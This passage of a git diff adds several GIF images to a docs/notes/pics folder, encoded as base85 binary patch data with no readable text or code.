zXJX$ZTQgH#-@M3sV=>fuOTjDKTGbH`7&W{p4X2rbfC1Ngza-+|nK#u~Pv70JYPFu7
zc1UOg;Ahcu{xePz4>&P;4nlEwJaC-XlXVA~?up<g_Uuf6Lg=uny50i=!m==k7l1qi
z2n}Wk2pc#|f19uyDS-#5eCt~I?R})TM4q5=cI!YN9tzKb9HIpCW7We+5I6<)OX1x%
z1kQpD;Q8=CN@+`r`UDRl-T;guxUPA~?PMoMzBQfF<qgFN-}&Kqh!g(>{t|6S7!suc
zQXqVrKa%9XJ(Z5op#kCzF$R2?6YYcPr4Q!CA1qrxSdV|O{riEUIACWp;NU;tcxk}7
zc)+D~z;%4U?e73h@uTZs7?}(u@ByJ1<UxNQoOP8B6;I$HT*y%GtAH5eWoYr>iPpjJ
z@xjQygABz_r)@q(`+qun=~GPcrwgs0V#hzl{rv<g4kh4*#8?2F2dIGX4Og3BUTrW`
z{KYYZCjd7FV=AMD3k1c(g{{N4#)nJ(4zm<TioZck%n^s^@9AVD$a_l(P722(1NfF+
z<k4pT(MOj?TZ%`YwvIj@AARw6l&v_{W;52|Klb|4SXc2_ck5X1_*mcHvF^W?RXAi2
z3;CAz)*=CykcA8;?V9*I&QqM2wwajqpP0KeF<(59arJm>h6bO@h^2>1n@q0zPyW0#
zxmi5<yLEDFeDe1=GK&7{12}GPbkri6hc4k^UhuFJJTU<euQY|XJ*whAwJmOnSTZH|
zVoG6RN=Yz9Qkqt^omLN+)`*+dDw)=PF|9i>tuL4+E6o_$&X@$un8wYRm&{ncn6aLi
zu@%fvlxAsmwzCcavyO4I&Ly)hFJ@gQX59p{G^NiTwx2x%J|Bwv>|OHN=f!8giO&Io
z&vd1^VB5LF0dq&==0Z#6PP~{4pO}jj%rTU{oVNWE9Y=sb02P7szM#WLNav16hmsD2
UoIY|S((|O#@uPs%|G)nK2P?gJ<^TWy

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/11548742505541.gif b/docs/notes/pics/11548742505541.gif
new file mode 100644
index 0000000000000000000000000000000000000000..12550673572ead2dbcab0baefc666c0f2eb289fe
GIT binary patch
literal 8192
zcmds6XIGPJuzlW=N`L@KC{hwY42T*K6|65vmlBj_K?0(J1%j0(CM5J05Tu9_1Qf9a
zD+*!&@gNqW(!>@x7Q}L*q5^8X-al}Ez@0DiWoE6JS$k&fnep&)cXWyvge;&R0Q~v$
z=i9e$KY#w5o}S*mefz}3#OKeSzkdB16BG00%a`B3e@910qbU08*RQQxx8iWP$;ruW
z+qU8H`2YU<PpwwJefw5JLt|=cN~KbL`0$~yuuw}&>;3!pr%#{$_uqeS-MUp!Q1Ii&
zkB=WeibSIE@$vlp{EUo@^z`)J-d=$~(AnAf<jIrAj~{n+b-jN5`rW&CVzC$ikdTlt
zIy(CD<;#;NPxklsE0xOq`}cQrbnMx)Cn6#uBqU^PZ0w(Z{%L4v7#tkT%*^ERc#VyX
zNl8hcK7D%i>ebDgHxC^;^!@vHp-|Y;(xOl(o<4oLZ{NQ2=g;rjwJSV4ysxh>H#avW
zCFTD8`?qi39v&XvyLa!KH*c<9y}Dt;h6fKGBqt|7fBrl%F)=SMZ)j*}-MV#}nwn{8
zX>Dz7)z#I3fq@c<<j9dD8#iwB_4RFUZ?CAR2n`M0v}sdOQBh@OWm#F-`t|G2o;`c_
z?p+FnQe0g8@ZrOek&)xak9&K2U%GVZ*|TT6ckhmiiz5&SSy@?Y*RI{MV@GXm?Wt3z
zjvYI8@7}$rsHlN~f$r|^u&}VErlvDz&hYvCg9i`ZxN)PduCBSc`M`k#*REZ=c=2LQ
zP0hJ;=cH2U=FOWQJ$jU#oxO79%GlUgFE1|=i9{q4gM)+Ra=E9cXKQQgmMvQ@T(}S!
z85s}|aQX6OnM`*0@L@8UTv}SXdiCn^^75RV96vw5RjXEMYisN1=uoND)YR1Y_;@!r
zw>4|l1O)}Xc=5u?$;sW_-N(o0`t|F&y1M@U{#-8i&Ye3hE-uE##yvefOO`Bgc6Kf)
zDY<gx3Isvs=H`}`mL47+M~@y|v0??2$uux9(9_eaudiRYaN)9L%a$%(T2)nLYHA9@
z@QD*ATwPrq92^)728LmVhK7q4EuztAGiJ<~KYu=p#WFK9Td-h(qobp}y}iD^{@l59
zXV0F!bLUP3K{y=FoH=tAFJ5eAWo2t?Yi(^!r_=w!>HiSc9}PdZz%?tKxo-AzISBOE
zlr@E-gumMMf8GAKO#o31AfmCSOxi9Y>e+1Qmeq7-QZ2lzJe!Vp<r>W2_N=?9_MbxL
z${b^_3w3u6vDY+ixO1WYZW(7&PnFlj6Zele?jC=3=i<rUYD`2n@xIjXu-5aCO<2#R
zQ;$z_YrT(pUvBI_9eQ!w^PbD62ha05b4*rUIrHRV^y9{`yI0OWy~_W$=jf`d=bpDD
zd>wy&_v-nVHwB1>sZX<Pq%+HKI$E@;G)qJsrnvl#Z>4tu{*J1s`Qp}W+YN>niXvt#
zqT_<j=**OeIT`d_?J<A{O019|A4AtMrC6)*u-I`j>TZz;PO;TdT}xa~Ur&}u?K4*+
zA%}5|sy-zsVS_PsbU^6Ha6X=&HPhN0!47fbTg44cqAAR>%_nG#86`dd_M#$JWIN3g
zqh5>VA~sb{Z>4K}s~%#8Z>of-&It)M55wvX-O@+~I%IIz76O_uN#btQN#bgnlFvMB
zhgme|F5M+OfEmsPiVm7JIe-M92^Q6o3*>1=QN~Qk3^ZLXvIMPM47nEdLwT6@E>f)1
zRVBepmhxe_Ig2Rw!XancA<$8G;UDN^of3c;hezFdU`$Q`NAo<yj93tl2YB)7l{7kF
zW??#F2-Dn+vhF5`jQO`wNY1(ga;brxI^-yGk*&Uif>d^9UssxiT604!0#;f|T<3)N
z2-EOZiv?+z!ydj|$GPgsNr=7_zICPukmS&U(19M~iqK$h2<OT<HS<sbhiU`%$XqP~
z#+ayvZ8S!u&%<N{)_QTS*XfBZ3)1vY(DdM$qk!t}pvl~Y36C=)6c&qk5)yC$%yj(K
zD5|`M9HYPkKWQ+}OjG+70!sF96il3}{R_+?tH>2zL*#iDf4jY*-<UEF$YCp>gf2uj
zNayC`547G-$eiZk@9!+nk^l=iB-bkhf({aJ{Bi;_xs)k51m~B-IcSW|0~`pHYf$Y^
z&Y_p2sjz+8M&c&%Qr~Vn3W%icxvZWGqU@cmSLznKlMB@P9sL04Xw3BQth)W&3}FJD
zD4^`JMonx)h8E06PtgZaBk8tm%K+(c!=lTbV4blAMf>9<C&z&=J?>n%gcu0Xh(0jZ
zs#PU~cU$a{&ZWg=NQJX2TAkdi2!XP6lf_GquUu3KWO&V(5A7MRoA~*#uF~zehZ%LL
zk*fjg)+2F+(U4^Nm)8{kq^3)AJYG9~0~Oe;lH-9-O~wW$Gs5BS5p0q(+m$GdaNvrV
zQAIiPgP1sT1dyUdXW$Yc85p>e9cu+a;tnspp_SBf4gd~PvQfjKrdB5EN`Zg{nDKj`
zXNi^yOI5=o7~P%A2Cg+8NKCsCf4A7l$C>KF4H3TLB54LJaw%0{M6J)H)$zzhD#&aP
z3$<$I<BF7MH5!TcbP#AbvpdZs+{_WN2HsGz!F;vC&U89}t!L2Ac*Y@kL<?|;lRz&)
z0(*RLM)s8$52rD4y7$QbP0}<97fN?0F&ReXB1SZZ(4yNZ{^bI2f|;=f9U&E^9G-JU
zfHJ7ZweU4Ui(A~BmFmxBemX$Y3X|x55NrcVF-(cC5(Z+coPW_dClkv|Fad2Vze|rM
z&;G;xdL%Ul*51gW>KRa~#wKzJR2FK|+`jf*-qvs$vo~q@>#<4oy_3s--04l7{#p$*
z8!&>mBF$(*O7v}T(eF`YES{*L<~O*`@_u-hrzBXg+hJq*!-AxVTBhbHPY>@$#c4vy
z3PpgMMh|M+z{3sYobuV~{kU>?;)LV<Q$FW;I9sUzo=s=#uPYJ&gKrI<zKyHPdiqW*
z{&s5B9Jx&+=#x(CA%1L|z^gs|=aT5BaPl<ovpu~=DN+#bdwSjAwm>>9?O4?FS(Fa>
z!1dv8r$RW;&e6tRU1Q}rf#!z*XIV(w=<e-lzGuQLl)jw<yP<<YXQCeWg#I(Ccj3_e
z9U-%~uT72&z9`*mvvtYr-rkJwm%L2o#5|5!*LOYm@@brU>-MnZbwjrgS6-~26TLHe
zJ?~BM)r!|U<Ni#pKan(IcvJvc=kNpP)v;ivd}UO=H@u2Da(!omDEO*3j5Gu_cfO8@
zFKvXKmyX~!s5(s?>){1eWt#O=+`9a6m>oDu^ziJ`vat(087ya*PR4HPT=h)7a4%lN
z(KRYefMZ0BXfL1K4$)X5vT;AowcOdq%NeJI%E7`0gjBFj$Z%jmxM-NMLjX~8%TFt3
zs(#(h?X$1LP|x3|%@-#I?qJb7AuTy%3+0j$l-k~)(|kE!Fsl{PTuc<}Y@?DL&tN2P
ztkZfIC;XvS=<OwSp95x$41!iAvV$j5>#S4ZwCDHZ;;15{J|<<Bf(aII#E{jmbl1rd
zGJy>nGDjfuR}e8(+76wQWX)Z);5IM#NO^uzwl!^mb_~{`wM!*jxTqiJC`lts@^d*f
zIXI%+1(vFC0d>4v5c?K2PmylO!?e05J9RDbL7pD#wj9y|ri<f|+DHx5rr8CZ<_8+3
z2%k*MbP;HCP<B)e;7Q`Z7lBBdJ%V%Z?>w{JL;$xciT362$z$X1!v|*%;js>4&H-T6
z$|4wqcG29cgu0fSo<qQX?`B>$S{|vV$Cl4qEz?*LSOe&CAw5r(KEpCncP?Aba#wDd
z*YdQmT?@mjIU^b&)RmN*s#v^)L$-6=q_=Fc=~7`%+8hoGiB<|{5CNKhIzpo(>lW(D
z%U!^4r)(X9wI2+>pLcNSPS(8r@CCUL*)!Eg_iSEmGAC-2ehuNVFQ$EIV=PI(9hdxK
zTTAtW`Ud3cx$Rqjik_*zU%nmo=|N5MbL;neTCaNlm;7V=`R`ALa)RmY1G9b|rW~9+
zG23(;ADhA>{F&_JZ2VH_m-6}ulF_~C#kra64{z4uMD&!6vJgk%n8(d}vrB^aC&RaE
zq=Jxv-6SMbmGa?c4lZ)IEr=bR{%QZs{-9qIKh7QpdV3_uW4-FrA(H|vE;sqr?ra!8
zCMS8T1p-{cpPx$Yo0I?etG^ui^J}J~v-jz32a*CXNL6_A*IWNT(}UqKRd!STBmCg^
zt1G113YR~NHb9O7lr6v;tjCoL$XNo)&{~a20d-8E8y%_>Dr9&H4LpPOn}x;=Lesxx
zF-S8frdc`$SR|yeqtk4N0oFrlbGy?xL)>|eqBs^rkpn)C=+qptv>PlR62YHE&fVZU
zM0QFLd$FmW(PE!wF;Ix%Ns^OedJvl$*bRaW5V)J{<hc+i(<vY$(laBRP2J3<G9)6Z
zG-JnD21StpWEt_q%zaS=r-aNzHZ`FeB#mXJl#9HW)J@DRadehilbc21WC3YbUNhum
z0AMJa!psI(_TjATL**hIlX_8}eT<j`RM`|ob}c)nu6w~{iKwwV2X4xtC~}(E)JqZ(
z3Cq2bl}q900&Z?gLvAaP;uH;FRvrb*1H8QMhP<wFk<9|l2W+aM8}u6F0~u*oC<B(|
zBTe~#M)IF`=UbZ>6t65$Iu^W)E*LK__+U`*u37LlwBTb_!Kcu|iG;#0(S=i4g`bBC
z-!~Mh9SeUtN+6QtPj?}~OF~*JAzDi)rzBd}B(Fjbz(Jyg&0I!e5vjDuD3NRYqzLz|
zi0Q;NcPa*Kk(C#BW<|03QnBqF|G87@;_oQw1rJZA3W}7PJy?<b6Mq_yFoUUS$JCr5
zIJnG->#QQ(r6P7r$Xk}=@x-6Z!TT5@0_v)ODSu}`_MIwOYt3B~Q~G4G6wpzD6kY0d
z_!kNV@N%|2vB9g5r}_|)TedH;ETN(-DY2|xR+c(dmPo?S;u71g>MxTbBXW{d1@fMh
z7fh8)3@eJADoWN?yyR;gRYK~m+ynt)L&Xy$;J8y|-P+0%iIoi%m5tXbNqjI{1v&Cl
z659#)Fyd`Kgh-BDzjmbc$&t3HBXYy44krN1aVzDNd}-ouT1qlLx%Z#Ip<=KL3rc7w
zEad~TtO8SiPK7yyGHKOx6mV3A^;QJuI0Wx`h}@UwdOZa9`N;5;{|YJmVC^w(DY8;>
zIIafi1IJc;MnVOpU@yF9b9KyRIBB!~XDM;oi^k?_##(bXZ;^%v0r6)2T6xwgXDFGM
zjiiUtrh`yrb#w$lr;&D1kcaF|?Da~FihyQS(q>4H!(GRF-yYut)%w}h;x^ab%B+p7
zsr7BIMPJvp5b7dWbw18@vlpkZdICMk4DahSpLMl<({<kT`f$5??|^z}b6wNP`i<@N
z_TIJON%f&Qfsw=Xs2tixGFK1+Z21JD0AHyJF_04y1%Vhw`c@IBC*KZnAayZ_g}3PM
z?4i<R@DVE6LJnVwhfXNr4{venKq+Bl1>y{ONQvb=)VOK?q!7?3#h;RCY*yhr%wa1g
zE)0(rt4@0MlYJIJTV%+5-hRs@Ms_2Wh7sDN<oSTqfDsW18py<59whXDV@47r`7(Tq
zhi7L~YsUSP22qrM@-+jm^_RHuVIMh~%?&i*H5l`Ww(gO^N*sX+%P^852XUmLS0$%2
z*XiG=q%M--5)|OSx42k23@LCv0>W&$vAzUgbPz<v^N2uCi6lw^ONyo_ElC*eoPgAy
zL>(OVPx^sc$v3#~1#2*ZA&2C`Rm1ie-k67r=7ZHrz{K!{AU01ziWVT}RnSQcr#DEL
zFNwIG(_q&_-GiZ~jex^NNJ>JR1lC{%=TM3IGB{R>hVnJsFsPA_=g0t4f;4c5W=s$-
zrEsJKv+Y#YUH_z$1ifv6CIB|Z&|)4il%i%TDB&m3OakyK@+l>>n1_&fXoeDE%JI5y
z;8%yw?`b+u{7kW+HXVWyyoyk&T;V6joAF`10Oy2N?Uxhhsm>x2XqN)9;-jzv=5c{g
zc|}j>>d(6U`=5r#^YF%e*j5mHn1c%5Lra*%04CZ5@T)O=#&n1gRz0!cT8cXJlI~}O
zBfWNqNgye3wwV7Am1M(*=>l@MjF7C*EM(#wRhNO}s8EilV>ne}OWb<u_0xazA*M=j
z9$k>51Tkc`M$-v<_^n(%F_D8LDv*U762r;_&$;n+=C#SB8`G7SGy(|q7#u_gI$S&s
zv`v&y7I53>64G8Sv`m2*$l$ATh=xG~Ciwak-lPJ$N-YXcqw+oV=aIjlLoN6O(}hq5
zhO=bCVR9lt2^Gk3g4r-f0g00dE2#0>9*84`7)f_RTW^G4KCvO<8bJpRr=qtE3=eWq
zFBQRr11tr^AO#%hf)??i(_)e#6;fwP!CDL~qI$r5C@TfdU`jRZZk45<Smg%qlo8e|
zNk^10#Du*Sq`wTxUjpU;_}mmBQi&IGAsm+wAjMw?Bm$o_z$G3`Z}(_v*DC`1Ra!TI
zwkzoHQli_GBn21IS0c0ckOLE~QfY=uAQ~6f#33t~Bv=6{v9qx7=C$o7_~bjQzMV5=
z!cS*b(k0MAdQWf}psV0@LBK$QGZzFCcp&1R;4Q86=sc>X1T_r~)no#ahyU#qhz1mR
zo*9h;^d#s+9YDCrnhL4LNcRu)gm-C@Sb0BfZ|}OIUYau!MkP$0)}eh|YjiYt4qr{m
zXk2f6ly16AXE_JeqgI;-JSyD#h@SKK(ACphK0ng^oH{$=aee(`+VG>$k;ltfeV?Nq
zR&VVK5%w*s={w`rhac|?hWeMX`p0hdm2d42680~t>A&FC|NUKmAT+R;HSn@8F{US|
zW~=@KdAG+1$@rOn{onw%G^Bc*(aNFd&Y>mnDSPkxpPO|$VOjFQ8;n#gvh;@D9)R2R
z+&|Q9p!Y4B?xjzcQ%oyq_hcFlAN|=faz=jrE;%myKBH8L-xNd3#RwJ${AmK%Pmz*v
zATUG$FW)=7qXv{xHIulw>pS%l6wpHj<m|(x2_O?5JQFJuOg&SWJb$D<nkt@pvg<D~
z6yV0>n$=9`#qZ}zlNY1QUc3r>@#esbZm#B02_bnIm#hGPKIDIy^YS7W{d(Z#<k6SY
z%U(8fNL1NNmC3WX07Wwi!lx>U$CTtYCFO-uORc1GK+2BiIt#Q)a&!?6d_yr5cS`@h
zf<RO2=tV+x)KQZM`X6|RmHO|U1gce*&hj&O#T%YiG%~~V-?Vs2FjL908=YD3Z>lrJ
zL-E4;;pjZSSD2Q5GLz(aPIsYt*ejKBO@;cl>FPxi>g4|hEN4Wjke~;;?ppt@S2IrX
zNXDOD8EL)V^ni}4$XjDyZx*~>*Y+k9!tqsac%MeCRj<{13h1stW1FcS0+43@vjd;#
z78qVQS5K3VZjzz9Q^$NE4OiLN{D-5*WN(XK(Dy3|8Gba;#<3&k=<yh+-bl+=j}<K+
zcc~%7@yFeT?<yaRueL+i%Z7b*#$|r*-6P0b1@HZe#w8EldlqSCg20<He9?2-g^i&H
z6!2-k4>nEc87`SDL7HVB{A=FB4{;3e;ZdqyfK+pz5*d(w<gz}H1r%+7q?mrPWog-Q
z@UQtu80-DGj8Y9gspje}=W6>n;V*NvdDM^YcHkPO5&Z7c?*cupR5R!f`L2@u--}~?
z63rR15<A&{ng{i|s0f1z{Uac;c<Og<@i+z#(&m;50Fv<Hv#A}@g=z0s!KWV4VIDAJ
z65?c9QXZs~|HlcZ#>c=$81Sr~@V+_W^KxR98I&a;YEU7+@NdC|6HFewQgF;P0<5H>
zOb#(*#dpt_2kHgHILY^@o8NuIVJocMu7F@Kg)tu3cko9-^^c^RKT=-)Nd5C;Up0sT
zM-pVCIyIzl39?svGVkSNLGNVR%b30&hubru;E<=c7xvcgoYZPZPjjHM!YLf5_dIwO
zWqs^b_LNsC@RQ$XM1XL>Z#)=CVj^V+O423B#hZaU6cFB@dTqsU%<xb8%QOpRN=soN
zar)=$zTJ1!=YKh?zL<ty?G2BeDgOlrz)ypIGi-j(Xa*fG2Xwf<h|b_?_-_&Ki|H5`
zsXjr()C3*q?Vn$$R6V0x-Cr2^-%Xt_)qgyK{s0J5Vre){Q`d6th)ag1$#Stlz^H2u
zea=S9F)0QLOqQjhhO1wB7SHrGj~2x9#HdwRo7ixTr4X{&`Qlc^nzw$(md)B$Vi-8a
zEo8@Cu&fL`<yE=-=<;-<pz*#OtZZXf&%*}ay0tf~c6tYW2)(fRzW1f+ptJYR+O(WY
ze{cU`?e)DMUwo`s_-SL&PP?|(Glu@%(3-Ak=AObm&udSe2X8Sh=STLG&dCk?bphlq
z(NRXLhqHwKriB=Lr-Kt~r2xqp<&DqpYjW$ZtY@+W_+B9}Sp6I`Vcwhf;#7#40mFly
zU2|yOicHh6&07xP0^I_xXgoUNPH-)kjM^0)R$8t<AS)2LRp1tiADjzqS!}^dX~kUn
zSi&r(Z5mQk*IfJxE7UP8=UJwkig)=fCYXt-ta0ycX~0*DtrWN#%bZbza-O-)3#$a7
zg_c%RyP&{E){zUl4!zR1@WVy~$h|RXYnigvv#ogAK%9-*qmdB9o&%***P9pBQn<Hx
zZf312Erz#^^n|;vyJ}to-U6NPGiGJ^j-+QbHU>iH-r*ISV3G(i<%~f6FPOmq5n@{T
zCQCiXsOZ}CHCCV71^E<Cjjl=9XuP?Z*Xk}*=MgH>(%SK)Mm*1*DSUwL$YT2A5Kb55
z0DdbqZO(8mflX26!uHBrb(e$hb{pR**6o=Aiz#iATR>~|q!I}?o00>{Mz1cS$?6HE
zp@lcEwi%vV6WJ~`Djj=RM6|A{FIcP)i059C3lRIjNes~{;X(*y*s}|n70Qt#E0+T2
zlEbcSmVr->q(4}seOn`>Xz@^gt>e9JfM+;%)FGSlhn(|F_7P8@)+M~T0@ecVh{EjG
z(B=U5HKX3o%8j7**WeLHgy>-!@?ut?LM~e5pnhXOVRS3@c{=Q3&lTFPR=8m0ZLW^n
zP90tCXzBK=L29AJ?{4o@!O^0E+&HIK8B1du<QZNJTLFrArs`<w<#7{V*G8p!>6mO7
zV<Uz`*oC_eMk7y<6?t|uKDzF>bA2aL;D`O4{7n70Yg>*k-hDr@(WuV68;iV5qSU0J
zI$69|K-+kvBUHyd+7d!OvFqSj&3{*E<JhquV5O2-6Wg+0t1(OGlaeVQaVlQnbQ*Y;
zkhZkp`17nK9JwGWwc91bX4juceTM?}D7sp!n~7Uql}Z}F|1#6;_ygyp8qKwR5*(w=
z&9mkZJ0ZaZUI)^UGfM5<R9B|jM%l>zrLBvTiWWSQ=5AAUq&W>U?mmljDr;qGwS|gp
z7mf(^i$=8n)QX^WQXzUquCv~g#~^bvO@76Z2+gPixrPMWy6DH0my~hzSC})JSYHt@
z*q$SzG}|VxRf0Ht77K~0A=r>H$V!<;QN00ro&ayfxlNMAc^LiDAcP&iWylA)P(maP
zk#(?wKIa%eG}pfodK>1+iN;)uH5t*aE{t7FPf8En4<nAWr?1!fe0X&w4_;PYH1E^=
zD60jTo)wprx`%RofGMfS)2fSHrU+)+o$?Ac&pTw-6u@3$-;-HV%x)^#41%9{Z+tXf
zdhMR_xj>zG$NBrCa{SNNoCudynM129?pwdHt2aCmwfw7Pbczr2Ea`Bx-{T`%jc*ou
zbll5uTvO%${>`HP#0vf~J<C^7Sx(QbyY~*PS<H)mwR97V$2~(S!+o=SyqO@GF<~Fo
z?1IfqOiLYph0g9i>EdPYm1fj;JnNK@Zs}dZ=#$piOgU?qUw<eG9U%<0Mti?YgJ$KG
z)S0z+pnQAC5KPoF+l9oy>yKOb&RTPCyqn#K39I-c^uw(&o}=9K!Y_TNq5=T9N}49N
zT43obOVi^j0*|l-B>Qg2^(<NUOpic=ePG+V`r`r;r5%lCVjEsB4!J(ie{O%*_Kn}X
zzXHv29??xX?mILrWJdF-$!<F$=`A7D$skl1v^}c!(cdo^50rK7*s`Ey?Sp*-7prj}
zflcl}6?fo5joZ#`K{JLQdJkMapT2X)<|XTg2L`TO?b;c;w`Ki{?*mtF;$r#fOE!!$
z2AltJi``Y)vf<6b!E3$gv3u&5gpCIeULWj=-FLYq?9;x%mY2A=gsvqUzZ@QHed`vN
z)Zeo4`<1~P|E0&Jyj~JMJuukzqbn};TT8h5`{2z#IKBY4ln3h%$qDZKG<qu!zi6mk
zJA*Htxio?tGSs1eo1d|uH9~9uP^TF_KFe)sq;A>Jty%8zIWK2W0ZUEyjfmRJ+#j<i
Ynz?4vuFacc1LHhmwtyx7Z~Om$03V7>+yDRo

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/11548743021625.gif b/docs/notes/pics/11548743021625.gif
new file mode 100644
index 0000000000000000000000000000000000000000..408de7d22f460154d395236cbe0608a41a7ddbb2
GIT binary patch
literal 9216
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
